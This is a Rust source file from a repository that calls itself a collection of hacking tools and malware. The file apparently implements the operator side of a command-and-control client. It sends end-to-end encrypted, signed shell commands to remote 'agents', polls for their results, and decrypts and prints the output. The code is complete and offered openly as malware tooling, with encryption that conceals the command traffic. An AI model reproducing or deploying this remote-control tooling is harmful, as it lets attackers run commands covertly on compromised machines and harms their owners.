This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
use crate::{
api::Client,
config::{self, Config},
Error,
};
use blake2::digest::{Update, VariableOutput};
use chacha20poly1305::{
aead::{Aead, NewAead},
XChaCha20Poly1305,
};
use common::{api, crypto};
use ed25519_dalek::Verifier;
use rand::RngCore;
use std::convert::TryFrom;
use std::{thread::sleep, time::Duration};
use uuid::Uuid;
use x25519_dalek::x25519;
use zeroize::Zeroize;
pub fn run(api_client: &Client, agent_id: &str, command: &str, conf: Config) -> Result<(), Error> {
let agent_id = Uuid::parse_str(agent_id)?;
let sleep_for = Duration::from_millis(500);
let mut command_with_args: Vec<String> = command
.split_whitespace()
.into_iter()
.map(|s| s.to_owned())
.collect();
if command_with_args.is_empty() {
return Err(Error::Internal("Command is not valid".to_string()));
}
let command = command_with_args.remove(0);
let args = command_with_args;
// get agent's info
let agent = api_client.get_agent(agent_id)?;
let agent_identity_public_key =
ed25519_dalek::PublicKey::from_bytes(&agent.identity_public_key)?;
// encrypt job
let (input, mut job_ephemeral_private_key) = encrypt_and_sign_job(
&conf,
command,
args,
agent.id,
agent.public_prekey,
&agent.public_prekey_signature,
&agent_identity_public_key,
)?;
// create job
let job_id = api_client.create_job(input)?;
loop {
if let Some(job) = api_client.get_job_result(job_id)? {
// decrypt job's output
let job_output = decrypt_and_verify_job_output(
job,
job_ephemeral_private_key,
&agent_identity_public_key,
)?;
print!("{}", job_output);
break;
}
sleep(sleep_for);
}
job_ephemeral_private_key.zeroize();
Ok(())
}
fn encrypt_and_sign_job(
conf: &config::Config,
command: String,
args: Vec<String>,
agent_id: Uuid,
agent_public_prekey: [u8; crypto::X25519_PUBLIC_KEY_SIZE],
agent_public_prekey_signature: &[u8],
agent_identity_public_key: &ed25519_dalek::PublicKey,
) -> Result<(api::CreateJob, [u8; crypto::X25519_PRIVATE_KEY_SIZE]), Error> {
if agent_public_prekey_signature.len() != crypto::ED25519_SIGNATURE_SIZE {
return Err(Error::Internal(
"Agent's prekey signature size is not valid".to_string(),
));
}
// verify agent's prekey
let agent_public_prekey_buffer = agent_public_prekey.to_vec();
let signature = ed25519_dalek::Signature::try_from(&agent_public_prekey_signature[0..64])?;
if agent_identity_public_key
.verify(&agent_public_prekey_buffer, &signature)
.is_err()
{
return Err(Error::Internal(
"Agent's prekey Signature is not valid".to_string(),
));
}
let mut rand_generator = rand::rngs::OsRng {};
// generate ephemeral keypair for job encryption
let mut job_ephemeral_private_key = [0u8; crypto::X25519_PRIVATE_KEY_SIZE];
rand_generator.fill_bytes(&mut job_ephemeral_private_key);
let job_ephemeral_public_key = x25519(
job_ephemeral_private_key.clone(),
x25519_dalek::X25519_BASEPOINT_BYTES,
);
// generate ephemeral keypair for job result encryption
let mut job_result_ephemeral_private_key = [0u8; crypto::X25519_PRIVATE_KEY_SIZE];
rand_generator.fill_bytes(&mut job_result_ephemeral_private_key);
let job_result_ephemeral_public_key = x25519(
job_result_ephemeral_private_key.clone(),
x25519_dalek::X25519_BASEPOINT_BYTES,
);
// key exchange for job encryption
let mut shared_secret = x25519(job_ephemeral_private_key, agent_public_prekey);
// generate nonce
let mut nonce = [0u8; crypto::XCHACHA20_POLY1305_NONCE_SIZE];
rand_generator.fill_bytes(&mut nonce);
// derive key
let mut kdf =
blake2::VarBlake2b::new_keyed(&shared_secret, crypto::XCHACHA20_POLY1305_KEY_SIZE);
kdf.update(&nonce);
let mut key = kdf.finalize_boxed();
// serialize job
let encrypted_job_payload = api::JobPayload {
command,
args,
result_ephemeral_public_key: job_result_ephemeral_public_key,
};
let encrypted_job_json = serde_json::to_vec(&encrypted_job_payload)?;
// encrypt job
let cipher = XChaCha20Poly1305::new(key.as_ref().into());
let encrypted_job = cipher.encrypt(&nonce.into(), encrypted_job_json.as_ref())?;
shared_secret.zeroize();
key.zeroize();
// other input data
let job_id = Uuid::new_v4();
// sign job_id, agent_id, encrypted_job, ephemeral_public_key, nonce
let mut buffer_to_sign = job_id.as_bytes().to_vec();
buffer_to_sign.append(&mut agent_id.as_bytes().to_vec());
buffer_to_sign.append(&mut encrypted_job.clone());
buffer_to_sign.append(&mut job_ephemeral_public_key.to_vec());
buffer_to_sign.append(&mut nonce.to_vec());
let identity = ed25519_dalek::ExpandedSecretKey::from(&conf.identity_private_key);
let signature = identity.sign(&buffer_to_sign, &conf.identity_public_key);
Ok((
api::CreateJob {
id: job_id,
agent_id,
encrypted_job,
ephemeral_public_key: job_ephemeral_public_key,
nonce,
signature: signature.to_bytes().to_vec(),
},
job_result_ephemeral_private_key,
))
}
fn decrypt_and_verify_job_output(
job: api::Job,
job_ephemeral_private_key: [u8; crypto::X25519_PRIVATE_KEY_SIZE],
agent_identity_public_key: &ed25519_dalek::PublicKey,
) -> Result<String, Error> {
// verify job_id, agent_id, encrypted_job_result, result_ephemeral_public_key, result_nonce
let encrypted_job_result = job
.encrypted_result
.ok_or(Error::Internal("Job's result is missing".to_string()))?;
let result_ephemeral_public_key = job.result_ephemeral_public_key.ok_or(Error::Internal(
"Job's result ephemeral public key is missing".to_string(),
))?;
let result_nonce = job
.result_nonce
.ok_or(Error::Internal("Job's result nonce is missing".to_string()))?;
let mut buffer_to_verify = job.id.as_bytes().to_vec();
buffer_to_verify.append(&mut job.agent_id.as_bytes().to_vec());
buffer_to_verify.append(&mut encrypted_job_result.clone());
buffer_to_verify.append(&mut result_ephemeral_public_key.to_vec());
buffer_to_verify.append(&mut result_nonce.to_vec());
let result_signature = job.result_signature.ok_or(Error::Internal(
"Job's result signature is missing".to_string(),
))?;
if result_signature.len() != crypto::ED25519_SIGNATURE_SIZE {
return Err(Error::Internal(
"Job's result signature size is not valid".to_string(),
));
}
let signature = ed25519_dalek::Signature::try_from(&result_signature[0..64])?;
if agent_identity_public_key
.verify(&buffer_to_verify, &signature)
.is_err()
{
return Err(Error::Internal(
"Agent's prekey Signature is not valid".to_string(),
));
}
// key exchange with public_prekey & keypair for job encryption
let mut shared_secret = x25519(job_ephemeral_private_key, result_ephemeral_public_key);
// derive key
let mut kdf =
blake2::VarBlake2b::new_keyed(&shared_secret, crypto::XCHACHA20_POLY1305_KEY_SIZE);
kdf.update(&result_nonce);
let mut key = kdf.finalize_boxed();
// decrypt job result
let cipher = XChaCha20Poly1305::new(key.as_ref().into());
let decrypted_job_bytes =
cipher.decrypt(&result_nonce.into(), encrypted_job_result.as_ref())?;
shared_secret.zeroize();
key.zeroize();
// deserialize job result
let job_result: api::JobResult = serde_json::from_slice(&decrypted_job_bytes)?;
Ok(job_result.output)
}